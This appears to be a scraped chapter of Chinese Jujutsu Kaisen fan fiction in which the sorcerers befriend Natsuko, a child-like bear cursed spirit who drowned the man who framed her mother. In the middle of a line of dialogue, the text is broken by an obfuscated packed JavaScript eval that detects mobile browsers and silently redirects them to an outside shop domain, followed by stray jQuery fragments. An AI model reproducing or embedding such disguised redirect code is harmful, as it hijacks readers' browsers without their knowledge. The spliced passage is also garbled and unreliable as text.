找到咒灵的过程非常容易。

    第一是因为五条悟在,这世界上哪有人有跟他一样咒力感知能力。

    第二是咒灵本身也没有掩藏的意识,不如说有隐藏的意识才是吓人的。

    顺着咒灵的离开路径,他们很轻易就找到了一只蹲在湖边玩着石子的小黑熊。

    作为咒灵来说,它长得是相当眉清目秀,毛茸茸的身上挂着一条印着熊的裙子,熊爪上绑着一对儿童的花里胡哨的鞋子,上面集齐了绿黄粉蓝白五个颜色。

    仔细看的话,它长得跟裙子上的小熊几乎是一模一样。

    也不知道是哪家公司会把清晰的真熊脑袋印上小朋友穿的衣服,还真有人买。

    小熊感受到来人的声音抬起脑袋挥挥了挥手。

    再确认他们真的能看见它之后开心地蹦了起来然后穿过小石子摊就朝他们跑了过来,停在了直哉的前面。

    “姐姐你果然能看见我!”熊嘴里发出了一个小女孩的声音,听起来比幼儿期的真希真依大一点,又比半大孩子小一点,但依旧是甜甜的小孩音。“我第一次遇到可以看见我的人!”

    它实在不像是可能害人的样子,都不知道有没有一米高。但身上的咒力又不能做假,可以肯定跟被溺死的男人身上的是一样的。

    所以是它杀的人,没有错。

    但熊好像又可以交流的样子,记得以前有听人说过,有些咒灵的术式发动条件是回应它们的问题。

    以她的能力,只要不是即死的都没事,而且其他人在,硝子也在怎么样都不会有事。但,但,问什么?

    禅院直哉绞尽脑汁想了个问它本身而不是扯到自己的问题:“小朋友你为什么会在这里?”

    “我在这里搭屋子!”小熊指了指那一堆石头。

    “在用石头搭吗?”

    “对!”

    “你搭的是什么?”

    “是我家的旅馆!!”

    “你家的旅馆叫什么名字呀?”

    “暖玉轩!”小熊挺了挺自己的胸膛,并介绍道:“它已经开了一百多年了!”

    好像那家店的女主人也说过同样的话。

    她该怎么回它,真希真依好像也有过这样的表情,在这样子的时候,似乎是期待被夸奖,禅院直哉蹲下来与她平视,试探着夸奖道:“真厉害啊!小朋友,能告诉姐姐,你叫什么名字呀?”

    “夏子!”毛茸茸的咒灵把胸挺得更高了,流露出了明显的得意之气,还,挺可爱的。

    但这是杀了人的咒灵,禅院直哉提醒自己冷静,继续套话:“夏子几岁了呀?”

    “7岁!”

    “都这么晚了,夏子为什么不回家啊。”

    那股得意之气一下子就变成了低落的情绪:“妈妈看不见我。”

    “那爸爸呢?”

    “去另一个世界了,因为我看见了些他们看不见的东西。”

    禅院直哉转移了话题。“那妈妈看不见你多久了呀?”

    “不知道,好久了。”它应该真的很失落,失落到逸散的咒力水平都有了极其明显的波动。

    很明显其他人都开始警惕了起来,但她觉得似乎还可以沟通。她用尽她跟小朋友所有的相处经验,夹出了有意识以来最温柔的声音:“这样啊,夏子会去看妈妈吗?”

    “会!我今天才去过!”

    “这么厉害呀,你认识你们家隔壁那间旅馆的老板吗?”

    “他是坏人!”

    “那夏子你能告诉我他为什么是坏人吗?”

    小熊的毛随着情绪的波动炸了起来,声音跟着身边的咒力水平一起大幅度地提高:“他要害妈妈!”

    “他要怎么害妈妈?”禅院直哉保持着原先的语气没有改变。

    “他把死去的阿姨放到我家的温泉池子里,还跟警察说是妈妈做的!”

    “那是夏子杀的他吗?”

    “对,他把阿姨按进了水里,所以我也把他按进了水里。”小熊的模样开始变得扭曲,变得更加符合咒灵应该有的样子。

    她应该要祓除的它的,作为咒术师禅院直哉应该祓除它的,但她又觉得还有事可以做,还有事应该做。没有经过太多的思考,她冲动地问道:“夏子,你想妈妈看见你吗?”

    这种无序的变化按下了停止键,童声又从咒灵的身体里出现:“可以吗?”。

    禅院直哉顺势伸出手,抓住了咒灵还有形状的毛绒绒的爪子,“对,姐姐知道一个方法可以让妈妈看见你,就是可能需要等几天。”

    小熊的黑珠子一般的眼睛又恢复了明亮,“真的可以吗?”

    “可以的,你看姐姐不是可以看见夏子吗?旁边的姐姐,哥哥也都可以看见夏子是不是?”

    “真的吗?”

    看着这样期待的眼神,他们不约而同地点了点头。

    “夏子可以等上一两天吗?”

    “我可以的!”崩塌的能量又开始回归到咒灵的体内,它又变回了毛茸茸的小熊,它抓着黑发女孩的手开始蹦蹦跳跳地欢呼:“姐姐你怎么能让妈妈看见我呀!”

    “姐姐家里有副眼镜可以让妈妈看见夏子,就是姐姐家在京都,去拿的话可能得几天。”

    她想不明白自己这样做的理由,但既然做了,那就送到底吧。她也做好了被指责的准备,毕竟,这是咒灵,哪怕它可能是人变的,它首先也是咒灵。

    就是这样的感情,可能是咒灵作假的吗?

    “不,我是被一个怪物吓到,然后跌进温泉里面溺死的。”小熊谈起自己的死亡完全没有一点点避讳:“然后我就把它吃掉了!还是把它咬没了呀,我也不太清楚,反正咬下去之后它就消失了!”

    “你以前就可以看见它们吗?”

    “对,我从小就能看见挺多长得很奇怪的东西,最经常看见是长得像放大版苍蝇的怪物对对对,就是那种”看见夏油杰放出来的蝇头,小熊兴奋地跳了起来,“爸爸妈妈都看不见,老师也说我说谎,但爸爸妈妈相信我能看见它们!就是,爸爸也被它们杀死了。”

    “裙子是妈妈买给你的吗?”

    “对!但是是我自己挑的,鞋子也是!”小熊得意地展示自己五彩斑斓的鞋子,这种炫耀让人感觉颇像某个带着墨镜的少年早上干出来的事。

    “很漂

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17962159|214345||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    亮呢,夏子眼光真好。”

    “嘿嘿!”小熊很高兴。“姐姐你的眼睛也好漂亮,像是我妈妈经常带着的那个蝴蝶。还有姐姐你蹲下一点。”

    女孩蹲下到小熊可以轻松耳语的高度,听到了咒灵的悄悄话:“蝴蝶也是我挑的!”

    “所以昨天是你在看我吗?”禅院直哉观察了一下对着熊问道。

    “对呀!我是不是可会藏了!”

    她们正一起在往暖玉阁里走,硝子和直哉一左一右牵住夏子毛茸茸的手。小熊答应了她们先跟她们住两天,之后怎么样,禅院直哉也没想好。

    它好像并没有什么危险性,只要不涉及到它的家人,但一旦涉及到它的家人,它也不会是这般人畜无害的小熊样子。

    说起来,她之前从来没见过这样由普通人死后变成的咒灵,结果才来高专,就遇见了两个。

    前一个自己结束了,这个会怎么样呢?她们应该如何处理呢。

    “不好意思,我给你们添麻烦了。”

    暖玉轩的主理人虽然情绪激动到认为真的是自己害死了人,但尸检结果得出以她的身高和力量在一米多高的温泉池子里面根本淹不死一个1米6的成年人。而且她的手所能造成的印记,也远比女死者身上来得小。

    案发时间她的不在场证明也很充足,于是她很快被解除了嫌疑,在清走尸体之后,暖玉轩也解开了封锁。

    而另一边的男主人的情况还在调查当中,他们说是被野兽袭击了。

    但总算,她们进得来这里了,夏子偷偷摸摸去看妈妈去了,他们就坐在房间里讨论之后该做什么。

    “没事的,直哉,换做是我,我也会做同样的选择。”她听见夏油杰这么说道,于是她抬眼去看他。

    有了点年纪的吊灯晃晃悠悠地挂在顶上,给这个房间带来了匀速移动的昏黄光圈。

    而这光轻轻地落在少年的脸上,显得他格外的温和。

    “你真的要让她妈妈看到她吗?”

    “都答应她了。”

    “你不怕她妈妈害怕她结果让她崩溃了吗?毕竟她现在也不是人类的样子。”

    “真没想到悟你会想这么多。”黑发少年调笑道。

    “喂!我又不是傻子!”

    “其实这样说不定还好办了,而且,能够让她在变成咒灵还那么想保护她。”黑发少年沉默了一会才继续说出自己的结论,“她妈妈应该很爱她。”

    “我也这么觉得。”家入硝子笑着赞同黑发少年的意见。

    禅院直哉说:“那明天一早我就回去拿咒具。”

    白发男孩哼了一声开口:“你回去拿咒具还得兜一个圈这多慢,说不定还要给人打报告,我让人把我家的那几个送过来吧。”

    有些人一张嘴就能把做好事搞得让人讨厌。

    黑发女孩斜了他一眼,纠结了半天还是说了声麻烦你了。

    “哎呦今天真是长见识了,”五条悟故作惊讶地说起些能够证实御三家内部不和的话:“竟然能收到来自禅院家人的感谢和道歉,真遗憾没能录下来,不然真想给家里人听听。”

    禅院直哉真想打他。